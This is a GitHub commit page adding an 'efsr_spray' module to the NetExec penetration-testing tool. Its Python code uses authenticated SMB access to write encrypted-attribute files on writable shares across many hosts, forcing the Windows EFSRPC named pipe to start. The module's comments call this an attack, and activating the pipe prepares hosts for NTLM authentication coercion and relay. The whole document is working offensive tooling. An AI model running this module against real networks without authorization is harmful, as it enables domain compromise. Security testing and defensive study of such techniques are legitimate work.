Skip to content

Commit 2cd67b9

Browse files
authored
Merge pull request Pennyw0rth#718 from rtpt-romankarwacik/efsr_spray_module
Add efsr_spray module
2 parents aec6448 + 4a7ad60 commit 2cd67b9

1 file changed

Lines changed: 112 additions & 0 deletions

File tree

nxc/modules/efsr_spray.py

Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
import ntpath
2+
from nxc.helpers.misc import gen_random_string
3+
from nxc.context import Context
4+
from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE, FILE_ATTRIBUTE_ENCRYPTED
5+
from impacket.smbconnection import SessionError, SMBConnection
6+
7+
8+
def get_error_string(exception):
9+
if hasattr(exception, "getErrorString"):
10+
try:
11+
es = exception.getErrorString()
12+
except KeyError:
13+
return f"Could not get nt error code {exception.getErrorCode()} from impacket: {exception}"
14+
if type(es) is tuple:
15+
return es[0]
16+
else:
17+
return es
18+
else:
19+
return str(exception)
20+
21+
22+
class NXCModule:
23+
"""EFSR Spray Module
24+
Module by @rtpt-romankarwacik
25+
"""
26+
27+
name = "efsr_spray"
28+
description = "Tries to activate the EFSR service by creating a file with the encryption attribute on some available share."
29+
supported_protocols = ["smb"]
30+
opsec_safe = True # Does the module touch disk?
31+
multiple_hosts = True # Does the module support multiple hosts?
32+
excluded_shares = ["SYSVOL"]
33+
34+
def options(self, context: Context, module_options: dict[str, str]):
35+
"""
36+
FILE_NAME Name of the file which will be tried to create and afterwards delete
37+
SHARE_NAME If set, ONLY this share will be used
38+
EXCLUDED_SHARES List of share names which will not be used, seperated by comma
39+
"""
40+
self.file_name = module_options.get("FILE_NAME", ntpath.normpath("\\" + gen_random_string() + ".txt"))
41+
self.share_name = module_options.get("SHARE_NAME")
42+
if module_options.get("EXCLUDED_SHARES"):
43+
self.excluded_shares += module_options.get("EXCLUDED_SHARES", "").split(",")
44+
45+
def on_login(self, context: Context, connection):
46+
conn: SMBConnection = connection.conn # Because typing is broken due to smb being a folder and a file >:(
47+
48+
try:
49+
shares = conn.listShares()
50+
except SessionError as e:
51+
error = get_error_string(e)
52+
context.log.fail(f"Error enumerating shares: {error}", color="magenta")
53+
return
54+
55+
# Check if named pipe is already available
56+
try:
57+
named_pipe_names = [f.get_shortname() for f in conn.listPath("IPC$", "*")]
58+
if "efsrpc" in named_pipe_names:
59+
context.log.highlight("efsrpc named pipe is already available!")
60+
# if it is already activated we just skip this computer
61+
return
62+
except SessionError as e:
63+
error = get_error_string(e)
64+
context.log.fail(f"Error enumerating named pipes: {error}", color="magenta")
65+
return
66+
67+
# Write an encrypted file on the share root.
68+
# This will likely fail with STATUS_ACCESS_DENIED if we do not have the permission to create encrypted files,
69+
# but this does not matter as the service will be activated nevertheless if we have WRITE or MODIFY access
70+
for share in shares:
71+
share_name = share["shi1_netname"][:-1]
72+
if self.share_name is not None and self.share_name != share_name:
73+
continue
74+
75+
if share_name in self.excluded_shares:
76+
continue
77+
78+
try:
79+
context.log.debug(f"Connecting to share {share_name}...")
80+
tid = conn.connectTree(share_name)
81+
except SessionError as e:
82+
context.log.debug(f"Could not connect to share {share_name}: {e}")
83+
continue
84+
try:
85+
context.log.debug(f"Creating file in {share_name}...")
86+
fid = conn.createFile(tid, self.file_name,
87+
desiredAccess=FILE_SHARE_WRITE,
88+
shareMode=FILE_SHARE_DELETE,
89+
fileAttributes=FILE_ATTRIBUTE_ENCRYPTED)
90+
conn.closeFile(tid, fid)
91+
try:
92+
# this can happen when we have special permissions to create encrypted files
93+
conn.deleteFile(share_name, self.file_name)
94+
except SessionError as e:
95+
error = get_error_string(e)
96+
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
97+
pass
98+
context.log.fail(f"Error DELETING created temp file {self.file_name} on share {share_name}: {error}")
99+
except SessionError as e:
100+
context.log.debug(f"Error writing encrypted file on share {share_name}: {get_error_string(e)} (This does not necessarily mean that the attack failed!)")
101+
102+
try:
103+
tid = conn.connectTree("IPC$")
104+
conn.waitNamedPipe(tid, "efsrpc", 10)
105+
context.log.highlight("Successfully activated efsrpc named pipe!")
106+
except SessionError as e:
107+
error = get_error_string(e)
108+
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
109+
context.log.debug("efsrpc pipe was not activated.")
110+
else:
111+
context.log.fail(f"Error waiting for named pipe: {error}", color="magenta")
112+
return

0 commit comments

Comments
 (0)